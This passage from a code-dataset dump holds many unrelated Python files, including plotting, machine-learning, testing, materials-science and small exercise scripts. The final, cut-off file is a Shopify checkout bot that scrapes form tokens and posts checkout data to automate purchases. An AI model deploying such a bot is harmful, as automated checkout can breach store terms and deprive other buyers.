\n\n#Add data to your figure\nax.plot(ds['Time'], ds['observed_HONO'], '-', label = 'Observed')\nax.plot(ds['Time'], ds['gas phase'], '-', label = 'Gas phase')\nax.plot(ds['Time'], ds['emissions'], '-', label = 'Emissions')\nax.plot(ds['Time'], ds['heterogeneous'], '-', label = 'Heterogeneous')\nax.plot(ds['Time'], ds['illuminated heterogeneous'], '-', label = 'Illuminated heterogeneous')\nax.plot(ds['Time'], ds['particulate nitrate'], '-', label = 'Particulate nitrate')\n\n#Plot formatting\nax.set_ylabel(u'HONO (molec /cm\\u00b3)')\nax.yaxis.set_major_formatter(mtick.FormatStrFormatter('%.0e'))\nax.legend(loc = 'upper left')\nplt.gcf().autofmt_xdate()\ndate_format = mpl_dates.DateFormatter('%d %b %Y, %H:%M')\nplt.gca().xaxis.set_major_formatter(date_format)\n#ax.axvspan(datetime(2016, 11, 16, 12), datetime(2016,11,19,8), alpha=0.2, color='orange', label = 'haze') #shows haze period, \n\n#Display your plot!\nplt.savefig('model_4s.png')\n#plt.show()","sub_path":"plotting_airpros_models.py","file_name":"plotting_airpros_models.py","file_ext":"py","file_size_in_byte":1652,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"504034872","text":"# Copyright 2019 actsnclass software\n# Author: Emille E. O. Ishida\n# Based on initial prototype developed by the CRP #4 team\n#\n# created on 8 August 2019\n#\n# Licensed GNU General Public License v3.0;\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# https://www.gnu.org/licenses/gpl-3.0.en.html\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport argparse\n\nfrom actsnclass.fit_lightcurves import fit_snpcc_bazin\n\n__all__ = ['main']\n\n\ndef main(user_choices):\n \"\"\"Fit the entire sample with the Bazin function.\n\n All results are saved to file.\n\n Parameters\n ----------\n -dd: str\n Path to directory containing raw data.\n -o: str\n Path to output feature file.\n\n Examples\n --------\n\n Run directly from the command line.\n\n >>> fit_dataset.py -dd -o \n \"\"\"\n\n # raw data directory\n data_dir = user_choices.input\n features_file = user_choices.output\n\n # fit the entire sample\n fit_snpcc_bazin(path_to_data_dir=data_dir, features_file=features_file)\n\n return None\n\n\nif __name__ == '__main__':\n\n # get input directory and output file name from user\n parser = argparse.ArgumentParser(description='actsnclass - Fit Light curves module')\n parser.add_argument('-dd', '--datadir', dest='input',\n help='Path to directory holding raw data.', required=True)\n parser.add_argument('-o', '--output', dest='output', help='Path to output file.', required=True)\n\n user_input = parser.parse_args()\n\n main(user_input)\n","sub_path":"actsnclass/scripts/fit_dataset.py","file_name":"fit_dataset.py","file_ext":"py","file_size_in_byte":1877,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"475994299","text":"# pylint: disable=no-self-use, invalid-name\nimport logging\n\nimport numpy\nimport pytest\nimport pyhocon\nimport torch\nfrom torch.autograd import Variable\nfrom torch.nn.init import constant\n\nfrom allennlp.nn import InitializerApplicator\nfrom allennlp.nn.initializers import block_orthogonal\nfrom allennlp.common.checks import ConfigurationError\nfrom allennlp.common.testing import AllenNlpTestCase\nfrom allennlp.common.params import Params\n\nclass TestInitializers(AllenNlpTestCase):\n def setUp(self):\n super(TestInitializers, self).setUp()\n logging.getLogger('allennlp.nn.initializers').disabled = False\n\n def tearDown(self):\n super(TestInitializers, self).tearDown()\n logging.getLogger('allennlp.nn.initializers').disabled = True\n\n def test_all_parameters_are_initialized(self):\n model = torch.nn.Sequential(\n torch.nn.Linear(5, 10),\n torch.nn.Linear(10, 5)\n )\n initializer = InitializerApplicator(default_initializer=lambda tensor: constant(tensor, 5))\n initializer(model)\n for parameter in model.parameters():\n assert torch.equal(parameter.data, torch.ones(parameter.size()) * 5)\n\n def test_regex_matches_are_initialized_correctly(self):\n class Net(torch.nn.Module):\n def __init__(self):\n super(Net, self).__init__()\n self.linear_1_with_funky_name = torch.nn.Linear(5, 10)\n self.linear_2 = torch.nn.Linear(10, 5)\n self.conv = torch.nn.Conv1d(5, 5, 5)\n\n def forward(self, inputs): # pylint: disable=arguments-differ\n pass\n\n # pyhocon does funny things if there's a . in a key. This test makes sure that we\n # handle these kinds of regexes correctly.\n json_params = \"\"\"{\n \"conv\": {\"type\": \"constant\", \"val\": 5},\n \"funky_na.*bi\": {\"type\": \"constant\", \"val\": 7},\n \"default\": {\"type\": \"constant\", \"val\": 10}\n }\n \"\"\"\n params = Params(pyhocon.ConfigFactory.parse_string(json_params))\n initializers = InitializerApplicator.from_params(params)\n model = Net()\n initializers(model)\n\n for parameter in model.conv.parameters():\n assert torch.equal(parameter.data, torch.ones(parameter.size()) * 5)\n\n parameter = model.linear_1_with_funky_name.bias\n assert torch.equal(parameter.data, torch.ones(parameter.size()) * 7)\n parameter = model.linear_1_with_funky_name.weight\n assert torch.equal(parameter.data, torch.ones(parameter.size()) * 10)\n\n for parameter in model.linear_2.parameters():\n assert torch.equal(parameter.data, torch.ones(parameter.size()) * 10)\n\n def test_from_params(self):\n\n to_exclude = [\"this\", \"and\", \"that\"]\n params = Params({\n \"conv\": \"orthogonal\",\n \"linear\": {\n \"type\": \"constant\",\n \"val\": 1\n },\n \"exclude\": to_exclude\n })\n initializer_applicator = InitializerApplicator.from_params(params)\n # pylint: disable=protected-access\n assert initializer_applicator._exclude == to_exclude\n initializers = initializer_applicator._initializers\n assert initializers[\"conv\"]._init_function == torch.nn.init.orthogonal\n\n tensor = torch.FloatTensor([0, 0, 0, 0, 0])\n initializers[\"linear\"](tensor)\n numpy.testing.assert_array_equal(tensor.numpy(), numpy.array([1, 1, 1, 1, 1]))\n\n def test_exclude_works_properly(self):\n class Net(torch.nn.Module):\n def __init__(self):\n super(Net, self).__init__()\n self.linear1 = torch.nn.Linear(5, 10)\n self.linear2 = torch.nn.Linear(10, 5)\n self.linear2.weight.data.fill_(7)\n self.linear2.bias.data.fill_(7)\n\n def forward(self, inputs): # pylint: disable=arguments-differ\n pass\n\n initializers = InitializerApplicator(default_initializer=lambda tensor: constant(tensor, 10),\n exclude=[\"linear2\"])\n model = Net()\n initializers(model)\n\n for parameter in list(model.linear1.parameters()):\n assert torch.equal(parameter.data, torch.ones(parameter.size()) * 10)\n\n for parameter in list(model.linear2.parameters()):\n assert torch.equal(parameter.data, torch.ones(parameter.size()) * 7)\n\n def test_block_orthogonal_can_initialize(self):\n tensor = Variable(torch.zeros([10, 6]))\n block_orthogonal(tensor, [5, 3])\n tensor = tensor.data.numpy()\n\n def test_block_is_orthogonal(block) -> None:\n matrix_product = block.T @ block\n numpy.testing.assert_array_almost_equal(matrix_product,\n numpy.eye(matrix_product.shape[-1]), 6)\n test_block_is_orthogonal(tensor[:5, :3])\n test_block_is_orthogonal(tensor[:5, 3:])\n test_block_is_orthogonal(tensor[5:, 3:])\n test_block_is_orthogonal(tensor[5:, :3])\n\n def test_block_orthogonal_raises_on_mismatching_dimensions(self):\n tensor = torch.zeros([10, 6, 8])\n with pytest.raises(ConfigurationError):\n block_orthogonal(tensor, [7, 2, 1])\n","sub_path":"tests/nn/initializers_test.py","file_name":"initializers_test.py","file_ext":"py","file_size_in_byte":5331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"591755190","text":"import numpy as np\ndata = np.load('output/data.npy')\nlabel = np.load('output/label.npy')\n\nfrom sklearn.model_selection import train_test_split\n \n# create training and testing vars\nns,nx,ny,nz = data.shape\nreshaped_data = data.reshape((ns,nx*ny*nz))\nX_train, X_test, y_train, y_test = train_test_split(reshaped_data, label, test_size=0.2)\n\n\nfrom sklearn.ensemble import RandomForestClassifier\n\n# Fit classification model\nclf = RandomForestClassifier()\nclf.fit(X_train,y_train)\nprint(\"Training completed...\")\n\n# Predict\n#y = clf.predict(X_test)\n\nfrom sklearn.metrics import accuracy_score \ny = clf.predict(X_test)\nprint(\"Accuracy:\", accuracy_score(y,y_test))\n","sub_path":"Challenge 3/RandomForest.py","file_name":"RandomForest.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"516694626","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jan 28 15:00:15 2021\n\n@author: warve\n\"\"\"\nimport pandas as pd\n\nbase = pd.read_csv('credit_data.csv')\nbase.loc[base.age < 0, 'age'] = 40.92\n\nprevisores = base.iloc[:,1:4].values\nclasse = base.iloc[:,4].values\n\nfrom sklearn.impute import SimpleImputer\nimputer = SimpleImputer()\nimputer = imputer.fit(previsores[:,0:3])\nprevisores[:,0:3] = imputer.transform(previsores)\n\nfrom sklearn.preprocessing import StandardScaler\nscaler = StandardScaler()\nprevisores = scaler.fit_transform(previsores)\n\nfrom sklearn.naive_bayes import GaussianNB\n\nimport numpy as np\n\nfrom sklearn.model_selection import StratifiedKFold\nfrom sklearn.metrics import accuracy_score\n\nresultados30 = []\nfor i in range(30):\n kfold = StratifiedKFold(n_splits=10, shuffle=(True), random_state=(i))\n resultados1 = []\n for indice_treinamento, indice_teste in kfold.split(previsores,\n np.zeros(shape=(previsores.shape[0],1))):\n classificador = GaussianNB()\n \n classificador.fit(previsores[indice_treinamento], classe[indice_treinamento])\n previsoes = classificador.predict(previsores[indice_teste])\n precisao = accuracy_score(classe[indice_teste], previsoes)\n resultados1.append(precisao)\n resultados1 = np.asarray(resultados1)\n media = resultados1.mean()\n resultados30.append(media)\nresultados30 = np.asarray(resultados30)\nfor res in resultados30:\n print(str(res).replace('.', ','))\nmed = resultados30.mean()\nprint(f'Média: {med:.5f}'.replace('.', ','))\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"Validação Cruzada/validacao_cruzada_30testes.py","file_name":"validacao_cruzada_30testes.py","file_ext":"py","file_size_in_byte":1587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"146103387","text":"from flask import g\nfrom flask_restful import Resource\n\nfrom app.apis.user.utils import login_required\n\n\n# 传入token,登录验证后才能获取的内容\nclass LoginApiResource(Resource):\n @login_required\n def get(self):\n user = g.user\n print(user.username)\n return {\n 'msg': 'post ok',\n 'logined_user': user.username\n }\n","sub_path":"app/apis/user/logined_api.py","file_name":"logined_api.py","file_ext":"py","file_size_in_byte":381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"654403189","text":"from setuptools import setup\n\nfrom pytest_arraydiff import __version__\n\n# IMPORTANT: we deliberately use rst here instead of markdown because long_description\n# needs to be in rst, and requiring pandoc to be installed to convert markdown to rst\n# on-the-fly is over-complicated and sometimes the generated rst has warnings that\n# cause PyPI to not display it correctly.\n\nwith open('README.rst') as infile:\n long_description = infile.read()\n\nsetup(\n version=__version__,\n url=\"https://github.com/astrofrog/pytest-fits\",\n name=\"pytest-arraydiff\",\n description='pytest plugin to help with comparing array output from tests',\n long_description=long_description,\n packages = ['pytest_arraydiff'],\n license='BSD',\n author='Thomas Robitaille',\n author_email='thomas.robitaille@gmail.com',\n entry_points = {'pytest11': ['pytest_arraydiff = pytest_arraydiff.plugin',]},\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":896,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"638035806","text":"# S30 Big N Problem #25 {Medium}\n# Leetcode #238\n\n# Given an array nums of n integers where n > 1, return an array output such that output[i] is equal to the product of all the elements of nums except nums[i].\n\n# Time Complexity : O(n) n= no of elements in the array\n# Space Complexity : O(n) \n# Did this code successfully run on Leetcode : Yes\n# Any problem you faced while coding this : No \n\n# Approach:\n# At any position, the result is the product of elements on the left and right respectively. \n# First calculate the left product. Calculate the right product and multiply it with the left product to ge the result.\n\nclass Solution:\n def productExceptSelf(self, nums: List[int]) -> List[int]:\n \n \n \n dp=[1 for _ in range(len(nums))]\n \n product=1\n \n for i in range(len(nums)-1,-1,-1):\n \n dp[i]=product*dp[i]\n product=product*nums[i]\n \n product=1\n for i in range(0,len(nums),1):\n \n dp[i]=product*dp[i]\n product=product*nums[i]\n \n return dp\n ","sub_path":"25_product.py","file_name":"25_product.py","file_ext":"py","file_size_in_byte":1114,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"615445382","text":"# 要求:给定一个整数数组,返回两个数字的索引,使它们相加到特定目标。\n# 例如 nums = [2, 7, 11, 15], target = 9,\n# 因为 nums[0] + nums[1] = 2 + 7 = 9,\n# 返回 [0, 1]\nclass Solution:\n def twoSum(self, nums, target):\n \"\"\"\n :type nums: List[int]\n :type target: int\n :rtype: List[int]\n \"\"\"\n result = []\n for i in range(len(nums)):\n oneNum = nums[i]\n twoNum = target - oneNum\n if twoNum in nums:\n j = nums.index(twoNum)\n if i!=j:\n result.append(i)\n result.append(j)\n return result\n","sub_path":"LeetCode/No1_TwoSum.py","file_name":"No1_TwoSum.py","file_ext":"py","file_size_in_byte":684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"13187589","text":"from urllib.request import urlopen\nimport feedparser\nimport time\nimport json\nimport re\n\n\ndef form_url(id):\n url = 'http://export.arxiv.org/api/query?search_query=id:'+ id\n return url\n\ndef parse_response(response):\n feed = feedparser.parse(response)\n if not feed.entries:\n return \"Not Found\"\n for entry in feed.entries:\n RP={}\n ID = entry.id.split('/abs/')[-1]\n Publish = entry.published.strip()\n Title = entry.title.strip()\n Summary = entry.summary.strip()\n Author = []\n for author in entry.authors:\n Author.append(author.name.strip().encode(\"utf-8\"))\n Cat = []\n for category in entry.tags:\n Cat.append(category['term'].strip().encode(\"utf-8\"))\n\n RP['id']=ID\n RP['pub']=Publish\n RP['tit']=Title\n RP['sum']=Summary\n RP['aut']=Author\n RP['cat']=Cat\n\n return RP\n\ndef clean(id):\n new_id =id\n if not new_id[:1].isdigit():\n m = re.search(\"\\d\", id)\n pos = m.start()\n new_id = id[:pos] + '/' + id[pos:]\n return new_id\n\n# Return metadata by ID\n\ndef call_api(id):\n c_id = clean(id)\n url = form_url(c_id)\n response = urlopen(url).read()\n cont = parse_response(response)\n return cont","sub_path":"get_arxiv_meta.py","file_name":"get_arxiv_meta.py","file_ext":"py","file_size_in_byte":1268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"48822631","text":"import itertools\nfrom operator import attrgetter\nfrom pathlib import Path\nfrom typing import Dict, List, Optional, Tuple\n\nfrom monty.serialization import loadfn\nfrom pydantic import BaseModel, Field\nfrom pymatgen.analysis.elasticity.elastic import ElasticTensor\nfrom pymatgen.analysis.substrate_analyzer import SubstrateAnalyzer\nfrom pymatgen.core.structure import Structure\n\nfrom emmet.core.material_property import PropertyDoc\nfrom emmet.core.mpid import MPID\n\n\nclass Substrate(BaseModel):\n name: str\n material_id: MPID\n structure: Structure\n\n\nDEFAULT_SUBSTRATES = [Substrate(**d) for d in loadfn(Path(__file__).parent.joinpath(\"structures.json\"))]\n\n\nclass SubstrateMatch(BaseModel):\n \"\"\"A single substrate match\"\"\"\n\n substrate_id: MPID = Field(description=\"The MPID for the substrate\")\n substrate_orientation: Tuple[int, int, int] = Field(description=\"The miller orientation of the substrate\")\n substrate_formula: str = Field(description=\"The formula of the substrate\")\n film_orientation: Tuple[int, int, int] = Field(description=\"The orientation of the material if grown as a film\")\n matching_area: float = Field(\n description=\"The minimal coinicidence matching area for this film orientation and substrate orientation\"\n )\n elastic_energy: float = Field(None, description=\"The elastic strain energy\")\n von_misess_strain: float = Field(None, description=\"The Von mises strain for the film\")\n\n @classmethod\n def from_structure(\n cls,\n film: Structure,\n substrate: Structure,\n substrate_id: MPID,\n elastic_tensor: Optional[ElasticTensor] = None,\n substrate_analyzer: SubstrateAnalyzer = SubstrateAnalyzer(),\n ):\n # Calculate lowest matches and group by substrate orientation\n matches_by_orient = _groupby_itemkey(\n substrate_analyzer.calculate(\n film=film, substrate=substrate, elasticity_tensor=elastic_tensor, lowest=True,\n ),\n item=\"match_area\",\n )\n\n # Find the lowest area match for each substrate orientation\n lowest_matches = [min(g, key=lambda x: x.match_area) for _, g in matches_by_orient]\n\n for match in lowest_matches:\n yield SubstrateMatch(\n substrate_id=substrate_id,\n substrate_orientation=match.substrate_miller,\n substrate_formula=substrate.composition.reduced_formula,\n film_orientation=match.film_miller,\n matching_area=match.match_area,\n elastic_energy=match.elastic_energy,\n strain=match.strain,\n )\n\n\nclass SubstratesDoc(PropertyDoc):\n \"\"\"Substrate matches computed for the material\"\"\"\n\n property_name = \"substrates\"\n\n substrates: List[SubstrateMatch] = Field(description=\"The list of matches for all given substrates\")\n\n @classmethod\n def from_structure( # type: ignore[override]\n cls,\n material_id: MPID,\n structure: Structure,\n substrates: Optional[List[Substrate]] = None,\n elastic_tensor: Optional[ElasticTensor] = None,\n **kwargs\n ):\n substrates = substrates or DEFAULT_SUBSTRATES\n all_matches = []\n for substrate in substrates:\n all_matches.extend(\n list(\n SubstrateMatch.from_structure(\n film=structure,\n substrate=substrate.structure,\n substrate_id=substrate.material_id,\n elastic_tensor=elastic_tensor,\n )\n )\n )\n # Sort based on energy if an elastic tensor is present otherwise the area\n if elastic_tensor is not None:\n all_matches = list(sorted(all_matches, key=lambda x: x.elastic_energy))\n else:\n all_matches = list(sorted(all_matches, key=lambda x: x.matching_area))\n\n return super().from_structure(\n material_id=material_id, meta_structure=structure, substrates=all_matches, **kwargs\n )\n\n\ndef _groupby_itemkey(iterable, item):\n \"\"\"groupby keyed on (and pre-sorted by) attrgetter(item).\"\"\"\n itemkey = attrgetter(item)\n return itertools.groupby(sorted(iterable, key=itemkey), itemkey)\n","sub_path":"emmet-core/emmet/core/substrates/substrates.py","file_name":"substrates.py","file_ext":"py","file_size_in_byte":4271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"447252994","text":"# 统计三国的人物名称和武器出现次数\n\n# 读取人名\nf = open('sanguo_name.txt')\ndata = f.read().split('|')\nprint(data)\n\n# 读取兵器的名称\n# 使用strip过滤无用的内容\nf2 = open('sanguo_weapon.txt')\ni = 1\nfor line in f2.readlines():\n if i % 2 == 1:\n print(line.strip('\\n'))\n i += 1\n\n# 读取书的内容\nf3 = open('sanguo_book.txt', encoding='gb18030')\n# print(f3.read().strip('\\n'))\nprint(f3.read().replace('\\n',''))","sub_path":"sanguo.py","file_name":"sanguo.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"381161748","text":"import math\nimport gzip\nimport pandas as pd\nimport numpy as np\nfrom sklearn.utils import shuffle\n\ndef parse(path):\n g = gzip.open(path, 'rb')\n for l in g:\n yield eval(l)\n\ndef getDF(path):\n i = 0\n df = {}\n for d in parse(path):\n df[i] = d\n i += 1\n return pd.DataFrame.from_dict(df, orient='index')\n\ndef split(data):\n #totalsize = 100000 #used for testing, to speed up training. Actual test will use more data\n totalsize = len(data)\n\n #data will be split as follows:\n #[test = 0.15*data][validate = 0.15*data][train = 0.7*data]\n\n testSize = math.floor(totalsize*0.15)\n validateSize = math.floor(totalsize*0.15)\n validateSplit = testSize + validateSize\n\n testDF = data[:testSize]\n validateDF = data[testSize:validateSplit]\n trainDF = data[validateSplit:totalsize]\n\n print (\"testDF size is %i\\n\" % len(testDF))\n print (\"validateDF size is %i\\n\" % len(validateDF))\n print (\"trainDF size is %i\\n\"% len(trainDF))\n\n headerlist = ['reviewText', 'overall', 'summary']\n testDF.to_csv ('testset.csv', header=headerlist)\n validateDF.to_csv ('validateset.csv', header=headerlist)\n trainDF.to_csv ('trainset.csv', header=headerlist)\n\n\nif __name__ ==\"__main__\":\n #get the data\n #examine the data\n #filter/clean the data based on prev step\n #reshape the data\n #put the data through models\n df = getDF('cellphone5.json.gz')\n\n #add headers\n print (len(df))\n print (list(df))\n #drop all columns except for reviewText, overall, and summary\n df = df.drop(['reviewerID', 'asin', 'reviewerName', 'helpful', 'unixReviewTime', 'reviewTime'], axis = 1)\n #if any category does not have text,then drop that row\n df['reviewText'].replace('', np.nan, inplace=True)\n df['summary'].replace(' ', np.nan, inplace=True)\n df = df.dropna(axis=0, how='any')\n print (\"new df lenght\")\n print (len(df))\n print (list(df))\n #check and remove any empty reviews\n df =shuffle(df)\n split(df)","sub_path":"splitdata.py","file_name":"splitdata.py","file_ext":"py","file_size_in_byte":1996,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"359622960","text":"def mine():\n \n if (peso<=0) or (altura<=0):\n print (\"Revisa tus datos, alguno de ellos es erróneo.\")\n else:\n imc= peso/altura**2\n if imc<20:\n print (\"PESO BAJO\")\n if 20<=imc<25:\n print (\"NORMAL\")\n if 25<=imc<30:\n print (\"SOBREPESO\")\n if 30<=imc<40:\n print (\"OBESIDAD\")\n if imc>=40:\n print (\"OBESIDAD MORBIDA\")\n \n \npeso=float(input(\"Peso en kg: \"))\naltura=float(input(\"Altura en m: \"))\nmine()","sub_path":"assignments/06BMI/src/exercise.py","file_name":"exercise.py","file_ext":"py","file_size_in_byte":513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"491941202","text":"##############################################################################\n#\n# Copyright (c) 2007 Zope Foundation and Contributors.\n# All Rights Reserved.\n#\n# This software is subject to the provisions of the Zope Public License,\n# Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution.\n# THIS SOFTWARE IS PROVIDED \"AS IS\" AND ANY AND ALL EXPRESS OR IMPLIED\n# WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS\n# FOR A PARTICULAR PURPOSE.\n#\n##############################################################################\n\"\"\"Search Criteria Interfaces\n\n$Id$\n\"\"\"\n__docformat__ = \"reStructuredText\"\nimport zope.i18nmessageid\nimport zope.interface\nimport zope.schema\nfrom hurry import query\nfrom zope.schema import vocabulary\n\n_ = zope.i18nmessageid.MessageFactory('z3c.searchfilter')\n\n\nclass ISearchFilter(zope.interface.Interface):\n \"\"\"Search criteria for position search.\"\"\"\n\n connector = zope.schema.Choice(\n title=_('Connector'),\n description=_('Criterium Connector'),\n vocabulary=vocabulary.SimpleVocabulary((\n vocabulary.SimpleTerm(query.Or, 'or',\n _('Match any of the following')),\n vocabulary.SimpleTerm(query.And, 'and',\n _('Match all of the following'))\n )),\n default=query.Or,\n required=True)\n\n def clear():\n \"\"\"Clear the criteria.\"\"\"\n\n def add(criterium):\n \"\"\"Add a criterium.\"\"\"\n\n def available():\n \"\"\"Return a sequence of names of all available criteria.\"\"\"\n\n def getDefaultQuery(self):\n \"\"\"Get a query that returns the default values. \n \n Override this method in your custom search filter if needed.\n \"\"\"\n\n def getAllQuery(self):\n \"\"\"Get a query that returns all values used for restrict the search.\n \n Override this method in your custom search filter if needed.\n \"\"\"\n\n def generateQuery():\n \"\"\"Generate a query object.\"\"\"\n\n\nclass ISearchCriterium(zope.interface.Interface):\n \"\"\"A search citerium of a piece of data.\"\"\"\n\n label = zope.schema.TextLine(\n title=_('Label'),\n description=_('Label used to present the criterium.'),\n required=True)\n\n def generateQuery():\n \"\"\"Generate a query object.\"\"\"\n\n\nclass IFullTextCriterium(ISearchCriterium):\n\n value = zope.schema.TextLine(\n title=_('Search Query'),\n required=True)\n\n\nclass ISearchCriteriumFactory(zope.interface.Interface):\n \"\"\"A factory for the search criterium\"\"\"\n\n title = zope.schema.TextLine(\n title=_('Title'),\n description=_('A human-readable title of the criterium.'),\n required=True)\n\n weight = zope.schema.Int(\n title=_('Int'),\n description=_('The weight/importance of the factory among all '\n 'factories.'),\n required=True)\n\n def __call__():\n \"\"\"Generate the criterium.\"\"\"\n","sub_path":"z3c.searchfilter/trunk/src/z3c/searchfilter/interfaces.py","file_name":"interfaces.py","file_ext":"py","file_size_in_byte":3043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"123220716","text":"class Lookup:\r\n '''Utility class to look up an item by its abbreviated name'''\r\n def __init__ (self, fileName):\r\n self.parser = Parser (fileName)\r\n self.name = self.parser.tree [0][0][0]\r\n \r\n def get (self, key):\r\n for item in self.items:\r\n if item.name.startswith (key):\r\n return item\r\n raise Exception (f'No item of class {self.__class__.__name__} starts with {key}')\r\n \r\nclass Parser:\r\n '''Syntax analyser for blocked textfiles'''\r\n def __init__ (self, fileName):\r\n with open (fileName) as file:\r\n self.tree = [[[\r\n symbol.strip ()\r\n for symbol in line.split (' ') if symbol\r\n ] for line in block.split ('\\n') if line\r\n ] for block in file.read () .split ('\\n\\n') if block\r\n ] \r\n","sub_path":"module_inleiding_programmeren_in_python/les_6_modules/progs/prog_03_cleaning_quotation/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"558832824","text":"# solving python challenge 3 http://www.pythonchallenge.com/pc/def/ocr.html\nfrom pprint import pprint\n\n\ndef find_rare_chars(long_string):\n \"\"\"Function will count characters in a string and return dict.\n\n Dict will show key value pairs for each character and its count.\"\"\"\n\n char_dict = {}\n\n for char in long_string:\n\n if char not in char_dict:\n char_dict[char] = 1\n\n else:\n char_dict[char] += 1\n\n return char_dict\n\nopen_file = open(\"long.txt\")\na_long_string = open_file.read()\nno_whitespace = a_long_string.rstrip()\n\npprint(find_rare_chars(no_whitespace))\n\nclosed_file = open_file.close()\n\n# solution - rare characters are 'a, e, i, l, q, t, u, y'\n# input 'equality' in url in place of ocr\n","sub_path":"pythonchallenge/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"48302025","text":"import requests\nfrom bs4 import BeautifulSoup\n\nclass Bot: \n def __init__(self, config, url, product_id):\n self.product_id = product_id\n self.url = url\n self.config = config\n\n self.session = None \n self.checkout_url = \"\"\n\n def start(self):\n self.session = requests.session()\n s = self.session\n\n self.start_session()\n\n shop_id = self.add_to_cart().headers['x-shopid']\n if shop_id == \"\":\n raise RuntimError('[ERR] shop_id not found. cart_response:\\n', cart)\n\n checkout = self.checkout()\n \n checkout_token = checkout.cookies['tracked_start_checkout']\n\n if checkout_token == \"\":\n raise RuntimError('[ERR] checkout_token not found. checkout_response:\\n', checkout)\n\n self.checkout_url = self.url + '/' + shop_id + '/checkouts/' + checkout_token\n\n contact_info = self.contact_info(checkout)\n\n shipping = self.shipping(contact_info)\n\n print(shipping.text)\n print(shipping)\n\n\n def start_session(self):\n print('starting session.')\n return self.session.get(self.url + '/cart.js')\n\n def add_to_cart(self):\n print('adding product_id ' + self.product_id + ' to cart.')\n return self.session.post(self.url + '/cart/add.js', data={ 'form_type': 'product', 'id': self.product_id }) # add product to cart\n\n def checkout(self):\n print('initiating checkout.')\n return self.session.post(self.url + '/cart', data={ 'checkout': 'Check out' })\n\n def start_pay_session(self):\n pay_session_data = {\n 'checkout_token': self.checkout_token,\n 'email': self.config.email,\n 'origin': \"modal\",\n 'shopify_domain': self.config['shopify_domain']\n }\n\n return self.session.post(self.urls.pay_session_url, data=pay_session_data)\n\n def contact_info(self, checkout):\n soup = BeautifulSoup(checkout.text, 'html.parser')\n forms = soup.find_all('form')\n\n found = None\n for form in forms:\n if form.get('data-customer-information-form') is not None:\n found = form\n\n inputs = found.findAll('input')\n authenticity_token = \"\"\n for input in inputs:\n if input.get('name') == 'authenticity_token':\n authenticity_token = input.get('value')\n break\n\n config = self.config\n\n formData = {\n \"_method\": \"patch\",\n \"authenticity_token\": authenticity_token,\n \"previous_step\": \"contact_information\",\n \"step\": \"shipping_method\",\n\n \"checkout[email]\": config['email'],\n \"checkout[buyer_accepts_marketing]\": \"0\",\n \"checkout[shipping_address][first_name]\": config['firstName'],\n \"checkout[shipping_address][last_name]\": config['lastName'], \n \"checkout[shipping_address][company]\": \"\",\n \"checkout[shipping_address][address1]\": config['address'],\n \"checkout[shipping_address][address2]\": \"\",\n \"checkout[shipping_address][city]\": config['city'],\n \"checkout[shipping_address][country]\": config['country'],\n \"checkout[shipping_address][province]\": config['state'],\n \"checkout[shipping_address][zip]\": config['zip'],\n \"checkout[shipping_address][phone]\": config['phone'],\n\n \"checkout[client_details][browser_width]\": \"1905\",\n \"checkout[client_details][browser_height]\": \"363\",\n \"checkout[client_details][javascript_enabled]\": \"1\",\n \"checkout[client_details][color_depth]\": \"24\",\n \"checkout[client_details][java_enabled]\": \"false\",\n \"checkout[client_details][browser_tz]\": \"600\"\n }\n\n return self.session.post(self.checkout_url, data=formData)\n\n def shipping(self, contact_info):\n soup = BeautifulSoup(contact_info.text, 'html.parser')\n forms = soup.find_all('form')\n\n found = None\n for form in forms:\n if form.get('data-shipping-method-form') is not None:\n found = form\n break\n\n inputs = found.findAll('input')\n authenticity_token = \"\"\n for input in inputs:\n if input.get('name') == 'authenticity_token':\n authenticity_token = input.get('value')\n break\n\n formData = {\n '_method': 'patch',\n 'authenticity_token': authenticity_token,\n 'previous_step': 'shipping_method',\n 'step': 'payment_method',\n 'checkout[shipping_rate][id]': 'usps-Priority-16.46'\n }\n\n return self.session.post(self.checkout_url, 